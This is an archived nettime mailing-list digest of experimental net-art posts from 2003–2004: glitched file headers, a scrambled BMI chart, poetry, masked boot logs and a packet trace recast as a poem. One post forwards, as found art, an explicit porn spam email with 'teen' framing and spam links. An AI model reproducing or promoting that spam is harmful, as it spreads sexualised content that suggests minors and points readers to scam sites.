thunderbeat.logic+smel[ted]l.stillness\n\n\n\n\n\n\n\n\n\n.\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: JUNKFILM tendency split017.avi\nDate: Mon, 22 Dec 2003 01:02:47 -0500 (EST)\n\n\n\n\nJUNKFILM tendency split017.avi\n\n\nRIFF8 AVI LIST hdrlavih8 strlstrh8 vidsraw strf( raw indx( 00dc odmldmlh\nLIST$ moviJUNK\n\nRIFF8 RIFF8 AVI LIST LIST AVI hdrlavih8 hdrlavih8 strlstrh8 strlstrh8\nvidsraw vidsraw strf( strf( raw raw indx( indx( 00dc 00dc odmldmlh\nodmldmlh LIST$ LIST$ moviJUNK moviJUNK\n\nRIFF8 AVI LIST hdrlavih8 LIST strlstrh8 vidsraw strf( raw indx( 00dc LIST\nodmldmlh LIST$ moviJUNK\n\nRIFF8 AVI LIST hdrlavih8 LIST strlstrh8 vidsraw strf( raw indx( 00dc LIST\nodmldmlh LIST$ moviJUNK\n\nRIFF8 AVI LIST hdrlavih8 LIST strlstrh8 vidsraw strf( raw indx( 00dc LIST\nodmldmlh LIST$ moviJUNK\n\nTHIS IS AS DIFFICULT TO FOLLOW AS IT IS TO SWALLOW.\n\n\n_\n\n\nDate: Wed, 17 Mar 2004 22:41:54 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: ::talla::\n\nwhich diet is right for you?\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nBMI 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35\nHeight(inches) Body Weight (pounds)\n58 91 96 100 105 110 115 119 124 129 134 138 143 148 153 158 162 167\n59 94 99 104 109 114 119 124 128 133 138 143 148 153 158 163 168 173\n60 97 102 107 112 118 123 128 133 138 143 148 153 158 163 168 174 179\n61 100 106 111 116 122 127 132 137 143 148 153 158 164 169 174 180 185\n62 104 109 115 120 126 131 136 142 147 153 158 164 169 175 180 186 191\n63 107 113 118 124 130 135 141 146 152 158 163 169 175 180 186 191 197\n64 110 116 122 128 134 140 145 151 157 163 169 174 180 186 192 197 204\n65 114 120 126 132 138 144 150 156 162 168 174 180 186 192 198 204 210\n66 118 124 130 136 142 148 155 161 167 173 179 186 192 198 204 210 216\n67 121 127 134 140 146 153 159 166 172 178 185 191 198 204 211 217 223\n68 125 131 138 144 151 158 164 171 177 184 190 197 203 210 216 223 230\n69 128 135 142 149 155 162 169 176 182 189 196 203 209 216 223 230 236\n70 132 139 146 153 160 167 174 181 188 195 202 209 216 222 229 236 243\n71 136 143 150 157 165 172 179 186 193 200 208 215 222 229 236 243 250\n72 140 147 154 162 169 177 184 191 199 206 213 221 228 235 242 250 258\n73 144 151 159 166 174 182 189 197 204 212 219 227 235 242 250 257 265\n74 148 155 163 171 179 186 194 202 210 218 225 233 241 249 256 264 272\n75 152 160 168 176 184 192 200 208 216 224 232 240 248 256 264 272 279\n76 156 164 172 180 189 197 205 213 221 230 238 246 254 263 271 279 287\n\n\n\n\n\n\n\n\n\n                                                                           =\n                     B       I 36 37 38 39 40 41 42  43 44 45 46 47 48 49 5=\n0 51 52 53 54\n                                                He5 210 21                 =\n             ight\n        77 181 186 191 196 201 205 220 224 229   234 239 244 248 253 258\n59 17   8 18    3 188 193        198 20 3 208 212 21            7 222 227 2=\n3    2 237 242 247 252\n257 262 267\n60 184 189 194 1                         2                      M          =\n             58 264 270 276 282 288 294 300 306                      312 31=\n8\n324\n66 223 229 23   5 2     1 247 253 260 266                                  =\n                                                                           =\n                                   2                      M                =\n       58 264 270\n276 282 288 294 300 306                         312 2                   M  =\n                     58 264 270 276 282 288 294 300 306\n312 318 324\n66 223 229 23   5 2     1 247 253 260 266  318 324\n66 223 229 23   5 2     1 247 253 260 266                                  =\n                                                                      2    =\n                  M                       58 264 270 276 282\n288 294 300 306                         312 318 324             Petite, Sma=\nll, Medium, Large, X-Large\n66 223 229 23   5 2     1 247 253 260 266 9     9 2     04       20        =\n                     9\n2                       M                       58 264 270 276 282 288 294 =\n300 306                      312 318 324\n66 223 229 23   5 2     1 247 253 260 266                               Bod=\n                             215 220 225 230 235 240 245\n250 255 261 266 271 276\n6               1       8       0                285\n62 19                                                   6 20            2  =\n                     7 213 218 224 229 235 240       24    ( i n           =\n   Body\night ds)\n58 1    72 16 251 256 262 267 273        278 284 289    295\n                34      2               52272 278 2             84 291 297 =\n303 309 315 322 328 334\n67 2                    3               6 243 249 2M    56 262  92 2    99 =\n3            06 313 320 327 334 341 348 355 362\n369 376  240 246\n\n72 265 272 279 287 294 302 309 316 324 331       338 346 353 361 368 375 38=\n3 390\n397\n73              272 280 288 295 302 240 246  310 3      ches)   18 325 333 =\n340 348 355 363 371\n378 386 393 401 408  240 246\n74                      2       80 28           2       03      11      31 =\n      2                      M                       58 264 270 276 282 288=\n 294 3 240 246 00\n306                     312 318 324\n66 223 229 23   5 2      2                      M                       58 =\n264 270 276 282 288 294 300 306                      312 318 324\nEXTRAGRANDE\n66 223 229 23PETITE     5 2     1 247 253 260 266 1 247 253 260 266 9 32   =\n      34     0 35    8\n365 3   73 381 389 396 404 412 420               2                      M  =\n                     58 264 270 276 282 288 294 300\n306                     312 318 324\n66 223 229 23   5 2     1 PEQUE=D1A247 253 260 266  2              2       =\n               M                       58 264 270 276 282\n288 294 300 306                         312 318 324  2   240 246 GRANDE    =\n     M                       5MEDIANA8 264 270 276\n282 288 294 300 306                     312 318 324                        =\n     LARGE\n66 223 229 23   5 2     1 247 253 260 266\n66 223 229 23   5 2     1 247 253 260 266       M        240 246 S         =\n     58 264 270 276 282 288\n294 300 306                     312 318 324\n66 223 229 23   MEDIUM5 2       1 247 253 260 266\n        343             51               367 3           2                 =\n     M                       58 264 270 276 282 288 294 300  240 246 zzzz30=\n6\n312 318 240 246 P 324\n66 223 229 23   5 2     1 247 253 260 266        2                      M  =\n                     58 264 270 276 282 288 294 300\n306      240 246 aa             312 318 324\n66 223 229 23   5 2     1 247 253 260 266       75 383 391 399 407 415 423 =\n431\n         2                      M                       58 264 270 276 282 =\n288 294 300 306                      312 318 324                           =\n  XLL 240 246\n66 223 229 23   5 2     1 247 253 260 266\n\n\n\n\n\n\n\nE-P 36B\nFR  95B\nEUR 80B\nUK  36B\nUSA 36B\n\n\n\n\n\n1- La grosseur des os : petit, moyen ou gros; 2- La musculature : faible,\nmoyenne ou forte;\n3- La stature : petite, moyenne ou grande; 4- Le rapport longueur des jambe=\ns\n/ longueur du tronc : petit, moyen ou grand.\n\n\n\n\n\n\n\n\n\nKilograms [calibrate]\nOunces [calculate]\nPounds [process]\nTroy Pounds [convert]\nStones [translate]\nShort Tons [parse]\nLong Tons [measure]\n\n\n\n\n\n\n                                                                           =\n                                     906090\n\n\n\n\nyo-yo:\nn. pl. yo-=B7yos\nSlang. A stupid or objectionable person.\n\n\n\nDate: Sun, 14 Mar 2004 22:56:22 -0000\nFrom: Morrigan <morrigan.nihil {AT} NTLWORLD.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nHello. I am looking for my son's biological father. His name is\nSebastian Sean Brown, but goes by Sean. His parents are Geri and Albert\nBrown and last I knew where living in Mississippi somewhere. ...\nI left for the military in 1984 leaving behind a pregnant girlfriend, I\nhavent seen nor heard from them since then. Tammi and I have a 18 year\nold daughter together and I have been trying very hard t...\nMissing my Friend, and his Sister Lani, (Student, Cal State.)Last known\naddress: Vancouver,Washington. Possibly later moved to Portland, Oregon\narea. Formerly with US Bank. Guitarist for the band: ID...\nBetween end of August 1979-early Sept 1979, I went to the island of\nAlonissos, in the Greek islands (Northern sporades) with my friend\nChris. We stayed as I remember at a hotel or resort called Marpou...\nI met Otto in Feb of 1998. He helped me out of a very bad situation. He\nis several years younger than me so when I found out that I was pregnant\nI didn't want him to feel like he was in over his hea...\nLast seen while visiting N.Y. She is a very special person in my life.\nLast known employment was with Earl,Palmer,Brown in N.Y.C. company went\nout of buisness. last know was living in\nI knew Sumie Moriya in Yokohama, Japan while serving in the Army of\nOccupation [1947 - 1948]. Sumie had a brother who was a Kamikaze Pilot\nthat did not get a chance to fly his mission. In 1948, I retu...\nChris and I were in love. My drug addiction took over and I lost him. He\nwent in the Army to serve his country. I have been clean for the past 15\nyears and am happily living in New Hampshire with m...\nAndres & I dated and I was so in love with him. We broke up because I\nwas young and ignorant.  I never stopped thinking about him and I would\nreally like to see him again. He has 2 cousins na...\nStory Description of Elizabeth Tuckman: approx. 5'-5' Eye: Brown Hair:\nBrown Weight: approx. 100lbs + Occupation: possible working for any\ndepartment stores. Old occupation was Nordstrom (Horton Plaza...\nI met bill while he was stationed at castle air force base in winton, ca\nI was living in visalia, ca at the time . we dated for about a year and\nthen i lost contact with him and he went back home. I a...\nMy name is Paula. I'm looking for my ex-husband GEORGE W. LLOYD. DOB\n2-2-43. We were married 1980-1984.We lived in the Des Moines, Iowa area.\nAfter 1984,George has lived in Iowa, Georgia, Florida and ...\nWe dated when we were both living in SD. We kept in touch a while, but\nwe have both changed cities again and I would love to get in touch. I\nhaven't stopped thinking about Steve since I met him.\nRoger was in the Army stationed at Ft. Carson (571st Med.?)in 1985-1988,\nhe was a crew chief for a madevac helicopter. I'm just wondering how he\nis.\nLinda I have been looking for you all these years\nI can not get you out of my heart, love Nelson\nGeorgia and I worked at Wendy's in petaluma in 1986. She moved to\nrohnert park and I forgot to get her new phone number. She's such a doll\nand great friend, I'd like to get back in touch with her. To ...\nKnown him since 1991.\nMet in logan a wonderful man who used to drive cab my best friend\nmissing very much would like to hear from him need to know how he is\ndoing.. very much in love with my memories of him.. if you have ...\n\n\n\nDate: Wed, 17 Mar 2004 22:50:59 +1100\nFrom: \"][mez][\" <netwurker {AT} HOTKEY.NET.AU>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: mezangelle vs english [read: translation]\n\n_________________________________________________________\nGuilt in Gilt-Skin: Pointer Decay [vs: Decoy]    10:43pm 17/03/2004\n_________________________________________________________\n\n\n   [A 4Dimensional dedication goes here]\n\nRead this and do not code: \"wracking memories tracked and cauterized.\nwildfiring whilst caught in slow-leakage motion\"\nStudy this and do not parse: \"rage stories looped and hiding while goats\nblink and leyline stamp\"\nScan this and do not flood: \"shuffling in insectile heat. bite marking and\necho milking [within ghost figure-lures]\"\n\n\n\nShallow copy of a pointer: c*licking between a lone wolfed self and shelfed\nOneness\nAddressing the operator: shuttering clay & silicon (quartz teethed) chips\nand wool swathes in earth claimed decay\nThe destruction of a dynamic: deletion of blink rates and retrieval reminders\n\n\n\n\n\n\n\n..............his neck with lush skin definers in connection decay vs gene\nengineered [de]coyness\n\n\n...................blowing apocalyptic epoxy [xy-ing] or callous eucalyptic\n\n\n.............hoof harmonics and swarmline flocking in my head/heart\n\n\n.....................silence boundaried and silken-gilt memory flecks vs\nguilt crowding\n\n\n..................paw and pore lust drinkage[s]\n\n\n..............................[i sense and dread you with forced affective\namnesia]\n\n\n..................tenderness welts and cognitive cloudings\n\n\n\n\n\n\n\n\nShift and static bind: your stories in my emotive gut\nRun time and stare: in dear intensity\nTouch and dynamic bind: thunderbeating logic meets smelted vs smelling\nstillness\n\n\n\n\n\n\n\n\n\n\n..\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\n\nDate: Sat, 21 Jun 2003 08:40:23 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nit's a laponian hat.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nCaps\nLock\n\n\n\nDate: Tue, 16 Mar 2004 12:45:43 +0200\nFrom: Alexei Shulgin <alexei {AT} easylife.org>\nTo: spectre {AT} mikrolisten.de\nSubject: mainstream of today is the avantgarde of yesterday: Fwd: ::::::::!!!!!!  ABSOLUTELY NEW !!!!!!::::::::    az\n\nThis is a forwarded message\nFrom: Support boastful <xfejrwqvyd {AT} 163.com>\nTo: alexei {AT} easylife.org\nDate: Wednesday, February 11, 2004, 4:27:04 AM\nSubject: ::::::::!!!!!!  ABSOLUTELY NEW !!!!!!::::::::    az\n\n===8<==============Original message text===============\n::::::::!!!!!!  ABSOLUTELY NEW !!!!!!::::::::\n:::::::::::  FRESH   T.E.E.N.S.   MODELS  :::::::::::\nNeVeR    s_h_o_t   before, NeVeR    f_u_c_k_e_d  so  w.i.l.d.l.y before,\nNeVeR C.uM-SMeAReD ---SO--- HEAvi1Y BEeFoRE.\nTH.E.SE    baBES   ! ! !   are    s.-i.-m.-.p.-l.-y    WAY\ntoo k_i_n_k_y AND REALLY  have   a.   s.t.unning ***S*E*X*UAL***   ima.g-ination.\n>From s.o.l.o   P=O=S=I=N=G  and    d*i*l*d*o   GA_M_ES   to     a.we.so.me  !!!\nMULTI     *_0_R_G_1_E_S_*   and    G=A=N=G=B=A=N=G=S.\n\nhttp://mmm.vstock.biz/90mt/?eyz6K\n\n      !!! A.N.A.L.,  O.R.A.L. ,\n    DOUBLE AND TRIPLE V_A_G_I_N_A   F_U_C_K -\nEvErYThInG that ___you\u00d2ve___   b.ee.n  L00KING  FOR IS HERE  !!!!!!\nTH.E.SE  h0t    --T-E-E-N-I-E-S--    are   R.EA.DY.\nF0R  EvErYThInG    JUST    T0  ___pLeAsE___  YOU !!!!!!\nFRESH   T.E.E.N    B*0*D*Y     IS   ALL        YOU      N_E_E_D      T0   J.E.r.K    =OFF=\nM O S T        {AT}  {AT}  p.l.e.a.s.a.n.t.l.y  {AT}  {AT}    !!!\nLES-BI-AN    S_H_O_W_S,      L.IVE.      ==S=T=R=I=P==    S_H_O_W_S   AND    MO--RE\n\n!!!!     S.-I.-G.-N     U.-P.-   !!!!\n\nhttp://mmm.vstock.biz/90mt/?V5U8K\n\n\n\n\n\ncoerce delineate rung avis carcass durer ambient coliform provincial case abbas brisk silhouette usable oresteia wally agouti cumin cybernetic decompression dallas anatomy traumatic brontosaurus avogadro aps hal ultimate macrophage charlie quirk auriga mainstay caught canticle cathy baldpate clubroom .\n\nbose notate rollins horace dully augmentation bessie scalp bath gunnery crankcase teresa airpark absentee wharves ethic destiny birdie hangable verdict desolate leftmost countenance contretemps extraordinary avuncular dugout errol average bestir tricky combat .\ndiversify quackery barefaced ugly norton decisionmake talcum garibaldi cumin clogging fiddlestick bayonet acclamation spectrophotometer ivory clarke stimulatory bible auger cerulean petite efflorescent stressful bakersfield .\n\nbefore benign davies counterpoint warwick concertina seclusion cultivate conspiracy aloft now viaduct backlash cake bitterroot bah fleawort christensen defect secrete adolphus veterinarian congener squatted borden attitude armistice elkhart dwight .\n\n===8<===========End of original message text===========\n\n\n\n-- \nBest regards,\n Alexei                            mailto:alexei {AT} easylife.org\n\n\n\n\n\nFrom: noemata <noemata {AT} kunst.no>\nTo: \"_arc.hive_\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: SKELPING\nDate: Tue, 16 Mar 2004 22:55:37 +0100\n\nARRAU YOW SYLVAN ? SKELPING          : D.UBWSUULFODE\nAFTERCARE SILVAN ABATOR WIDE ?       : XU6QWFHPYDXOY\nAFTERBURNING HORTA SHARECROPPER. MEM : YWCZAA.2VNQE2\nPEEPUL IMAI YOUR MINE PUFFBALL       : 2SZH4YHUCYW3I\nSLIPPY YAW MEAN ? MYNAH TEYDE YAHWEH : VFGOHV0KXRPLQ\nSLOOP NEUSATZ DOESE IDAHO OUT. IEE   : GPQUYATFNANCI\nDUOMO WEHR NASTASE NIGHTSHIRT        : KNZVRX0GQ7IZU\nDISK ND ROOTED. TWI DAIMYO HUFF      : I8DHTOJAVSWFW\n\n\n\n\n\nDate: Mon, 15 Mar 2004 22:25:29 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\nthe new saviour has arrived\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nthe former saviour has left\n\n\n\n\n\nnettime unstable digest vol 83\nThu Mar 18 17:43:40 2004\n\n\nSubject: Lit.\n    From: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: lazy packet writing\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: _g[u]ilt skin + de[a]finition_dec[oy]ay\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: JUNKFILM tendency split017.avi\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ::talla::\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: mezangelle vs english [read: translation]\n    From: Morrigan <morrigan.nihil {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: clarification\n    From: \"][mez][\" <netwurker {AT} HOTKEY.NET.AU>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: mainstream of today is the avantgarde of yesterday: Fwd: ::::::::!!!!!!  ABSOLUTELY NEW !!!!!!::::::::    az\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: SKELPING\n    From: Alexei Shulgin <alexei {AT} easylife.org>\n    To: spectre {AT} mikrolisten.de\n\nSubject: clarification\n    From: noemata <noemata {AT} kunst.no>\n    To: \"_arc.hive_\" <_arc.hive_ {AT} lm.va.com.au>\n\n\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 23 Mar 2004 10:01:52 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200403231532.i2NFWAB21938 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00085.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 83"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00062",
                "content": "\n\n\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: PIO\nDate: Sat, 6 Mar 2004 00:05:31 +0000\n\n        -(2): 0 p---s.\n        -(1): 126816 p---s.\n        -(0): 4096 p---s.\n        ---: s-ro---n-: r--r-w\n        ---: prot--t-- -o-- -nt-r---- -n-o -t -000:5\n        ---: -o-- -s 1024x768x16, --n---n-t-=2048, p\n        ---: -r----u---r -t 0x-8000000, --pp-- to 0x\n        ---: --r--t-o-or: s-z-=0:5:6:5, s---t=0:11:5\n        -n ---st --st-rn r----z- s--pp-- s--n- p-r-s\n        r--s vow--s ----r ---y--- -otor quot-n- w-t-\n        v-nt so-v- ow- vo---s -o-st no--n-- -roo- w-\n        -r- t--r-o- s-o--s s-oot-s p-ys us---s ---r-\n        us-s r-p-y r--y sour-- -out- op-r-t- w-r- w-\n        -CPU t---s---- -uto--: 1463.19 us--s.\n        xrwxrwx    1 root     root           17 M-r \n        xrwxrwx    1 root     root           17 M-r \n        xrwxrwx    1 root     root           17 M-r \n        xrwxrwx    1 root     root           17 M-r \n        p: -o---- (--x 8 --v---s)\n        : Assu--n- 33MHz syst-- -us sp--- -or PIO -o\n        us-- stor-n- ton-s ----o y-t --v-r-s --v-s-s\n        --r --t r----ty z-pp-- --pp-n- --tu-- -r---s\n        : Mount-- root (--n-x ----syst--).\n        : H-s- t----s -on---ur-- (-st----s--- 32768 \n        DISK: Co-pr-ss-- ----- -oun- -t --o-- 0\n        ------- --s- t---- -ntr--s: 131072 (or--r: 7\n        IX -on-or--n-- t-st-n- -y UNIFIX\n        : C-nnot ---o--t- r-sour-- r---on 0 o- --v--\n        : C-nnot ---o--t- r-sour-- r---on 0 o- --v--\n        no-- 0 tot--p---s: 130912\n        -o--- APIC pr-s-nt or --r-w-r- --s-----\n        nt------ --s- t---- -ntr--s: 8192 (or--r: 4,\n        ory: 511968-/523648- -v------- (1210- --rn--\n        -------- --s- t---- -ntr--s: 32768 (or--r: 6\n         rout-n- ----- --s- t---- o- 4096 -u---ts, 3\n        ---n- --st FPU s-v- -n- r-stor-... -on-.\n        --t-- 1594.877 MHz pro--ssor.\n        try------ --s- t---- -ntr--s: 65536 (or--r: \n        --r------ --s- t---- -ntr--s: 32768 (or--r: \n         pro--ssors --v- -on- -n-t_----\n        OS--820: 00000000--800000 - 0000000100000000\n        OS--820: 000000001--7-000 - 0000000020000000\n        OS--820: 00000000000-0000 - 0000000000100000\n        OS--820: 00000000000-2000 - 00000000000-4000\n        OS--820: 000000000009-000 - 00000000000-0000\n        -r--- su--syst-- s----t-st: p-ss--.\n        OM -----su- s----t-st: p-ss-- (0x04-4518-).\n        nt-rn-- r---st-rs s----t-st: p-ss--.\n        -n-r-- s----t-st: p-ss--.\n        o-r- -ss----y 000000-000, P-ys---- -onn--tor\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Nowhere at all\nDate: Wed, 24 Dec 2003 23:41:15 -0500 (EST)\n\n\n\n\nNowhere at all\n\n\n# Latitude Longitude ( SSID ) Type ( BSSID ) Time (GMT) [ SNR Sig Noise ]\n# ( Name ) Flags Channelbits BcnIntvl\n# $DateGMT: 2003-12-24\nN 0.0000000 E 0.0000000 ( linksys ) BBS ( 00:0c:41:86:78:98 ) 21:23:04\n(GMT) [ 99 148 49 ] # ( ) 0001 0040 0\nN 0.0000000 E 0.0000000 ( linksys ) BBS ( 00:06:25:f3:35:29 ) 21:23:14\n(GMT) [ 32 81 49 ] # ( ) 0001 0040 0\n\ncome visit\n\n0.000000 ...0 -> .0.0. DNS Standard query AAAA panix.panix.com\n0.   ... -> ...0 TCP telnet > 0 [SYN, ACK] Seq=0 Ack= Win= Len=0 MSS=\n0. ...0 -> ...   TCP 0 > telnet [ACK] Seq= Ack= Win=0 Len=0\n0. ...0 -> ...   TELNET Telnet Data ...\n0.   ... -> ...0 TCP telnet > 0 [ACK] Seq= Ack= Win= Len=0\n0.00   ... -> ...0 TELNET Telnet Data ...\n0. ...0 -> ...   TCP 0 > telnet [ACK] Seq= Ack= Win=0 Len=0\n\nsay hello\n\n0. ...0 -> ...   TELNET Telnet Data ...\n0.   ... -> ...0 TELNET Telnet Data ...\n0.0 ...0 -> ...   TCP 0 > telnet [ACK] Seq= Ack= Win=0 Len=0\n0.   ... -> ...0 TELNET Telnet Data ...\n0. ...0 -> ...   TELNET Telnet Data ...\n0.0   ... -> ...0 TCP telnet > 0 [ACK] Seq= Ack=0 Win=0 Len=0\n0. ...0 -> ...   TELNET Telnet Data ...\n.0 ...0 -> ...   TCP 0 > telnet [ACK] Seq= Ack= Win=0 Len=0\n. ...0 -> ...   TELNET Telnet Data ...\n.   ... -> ...0 TELNET Telnet Data ...\n.00 ...0 -> ...   TCP 0 > telnet [ACK] Seq= Ack= Win=0 Len=0\n.0   ... -> ...0 TCP telnet > 0 [ACK] Seq= Ack= Win=0 Len=0\n. ...0 -> ...   TELNET Telnet Data ...\n.   ... -> ...0 TCP telnet > 0 [ACK] Seq= Ack= Win=0 Len=0\n\ncome up here\n\n . ...0 -> ...   FTP Request: SYST\n .   ... -> ...0 FTP Response:  UNIX Type: L Version: NetBSD-ftpd 000\n .0 ...0 -> ...   FTP Request: TYPE I\n .0   ... -> ...0 FTP Response: 00 Type set to I.\n .0 ...0 -> ...   TCP  > ftp [ACK] Seq= Ack= Win=0 Len=0\n .0 ...0 -> ...   FTP Request: PASV\n .0   ... -> ...0 FTP Response:  Entering Passive Mode (,,0,)\n .   ... -> ...0 TCP  >  [SYN, ACK] Seq=0 Ack= Win= Len=0 MSS=\n . ...0 -> ...   TCP  >  [ACK] Seq= Ack= Win=0 Len=0\n . ...0 -> ...   FTP Request: STOR zz\n .   ... -> ...0 FTP Response: 0 Opening BINARY mode data for 'zz'.\n .0 ...0 -> ...   FTP-DATA FTP Data:  bytes\n . ...0 -> ...   FTP-DATA FTP Data:  bytes\n\nsit next to me\n\n . ...0 -> ...   TCP  > ftp [ACK] Seq=0 Ack=0 Win=0 Len=0\n .0   ... -> ...0 TCP  >  [ACK] Seq= Ack= Win=0 Len=0\n\nwe are alone\n\n .0 ...0 -> ...   FTP-DATA FTP Data:  bytes\n .00 ...0 -> ...   FTP-DATA FTP Data:  bytes\n .0   ... -> ...0 TCP  >  [ACK] Seq= Ack= Win=0 Len=0\n . ...0 -> ...   FTP-DATA FTP Data:  bytes\n .0 ...0 -> ...   FTP-DATA FTP Data:  bytes\n . ...0 -> ...   FTP-DATA FTP Data:  bytes\n .0   ... -> ...0 TCP  >\n\ngoodbye\n\n\n\n\n-\n\n\nDate: Fri, 12 Mar 2004 12:34:03 -0800\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: THE GRE {AT}  TAB-00 {codicon}\n\n/ / / -~ / -~ ( ( / /' -~ -~ , , // , //,/ -~ // / -~ / , /'\n))));, \\/~- --~~ --~~ /~ -~ / /' \\~\\/'/ --~~ --\\ -~ /, ,)))\n~ -~ -\\(((((''''(((((((( > , /))))))))))))));,>/\\ / --~~ \\-~\n/ -~ / -~ ( ( / /' -~ -~ ,/' \\/ , //,/ -~ // / -~ / , /'/ / \n;, \\/~- --~~ --~~ /~ -~ / ))))~\\/'/ --~~ --\\ -~ /, ,)))))))\n -\\(((((''''(((((((( >~\\/ --~~))))))))));,>/\\ / --~~ \\-~~ -~\n))))), / ---~~ ~~\\~~ --~ ))  {AT}   --~' -~ ~ --==//////(('' . `)\n))/ ~~~~~ \\ ---~~ --~~-- (/ --;-. (((((/ --~~~'~~/ ( ` / ) )\n / , // , //,/ -~ // / -~ / , -~~~/ -----~~ ,;::' \\ , o ); ;\n ,/' \\~\\/'/ --~~ --\\ -~ /, ,)/'/ / / -~ / -~ ( ( / /' -~ -~\n/ ))))))))))))));,>/\\ / --~~ \\))))));, \\/~- --~~ --~~ /~ -~ \n/ --~~ --~' -~ ~ --==//////(('-~~ -~ -\\(((((''''(((((((( >~\\\n ))  {AT}  ;-. (((((/ --~~~'~~/ ( `' . `)))))), / ---~~ ~~\\~~ --~\n (/ ---~~~/ -----~~ ,;::' \\ ,  / ) )))/ ~~~~~ \\ ---~~ --~~--\n ---~~/ `::: ; < > `----~~~~' o ); ; / ----~~/ \\,-~~~\\ / ; (\n/~;;. /;;' / ----( `;;;/ / // / `: \\;\\ // /\\/~ / / ~------~ \n;,\\ (< ; /',/-----' > \\ //~;~~; ;'------~~~~~ ;;/\\ / // / \\;\n \\,-~~~\\ / ; ( ---~~/ `::: ; <~~~~~~~ `\\ (,~~ \\~\\ ~~ ----~~/\n / / ~------~ /~;;. /;;' / --- > `----~~~~' / `: \\;\\ // /\\/~\n;;/\\ / // / \\;;,\\ (< ; /',/----( `;;;/ / // ; ;'------~~~~~ \n\\~\\ ~~ ~\\/ --~~ --~' -~ ~ --==--' > \\ //~;~~~~~~~~~ `\\ (,~~ \n~~\\~~ --~ ))  {AT}  ;-. (((((/ , ////////(('' . `)))))), / ---~~ \n -~ / -~ ( ( / /' -~ -~ ,/' \\~ , //,/ -~ // / -~ / , /'/ / /\n, \\/~- --~~ --~~ /~ -~ / )))))\\/'/ --~~ --\\ -~ /, ,)))))));\n-\\(((((''''(((((((( >~\\/ --~~ )))))))));,>/\\ / --~~ \\-~~ -~ \n)))), / ---~~ ~~\\~~ --~ ))  {AT}  ;--~' -~ ~ --==//////(('' . `))\n)/ ~~~~~ \\ - , // , //,/ -~ //-. (((((/ --~~~'~~/ ( ` / ) ))\n/ /' -~ -~ ,/' \\~\\/'/ --~~ --\\ / -~ / , /'/ / / -~ / -~ ( ( \n-~~ /~ -~ / ))))))))))))));,>/ -~ /, ,)))))));, \\/~- --~~ -\n(((((( >~\\/ --~~ --~' -~ ~ --=\\ / --~~ \\-~~ -~ -\\(((((''''((\n ~~\\~~ --~ ))  {AT}  ;-. (((((/ --~=//////(('' . `)))))), / ---~~\n-~~ --~~-- (/ ---~~~/ -----~~ ~~'~~/ ( ` / ) )))/ ~~~~~ \\ --\n~~~\\ / ; ( ---~~/ `::: ; < > `,;::' \\ , o ); ; / ----~~/ \\,-\n ~------~ /~;;. /;;' / ----( `----~~~~' / `: \\;\\ // /\\/~ / /\n / // / \\;;,\\ (< ; /',/-----' 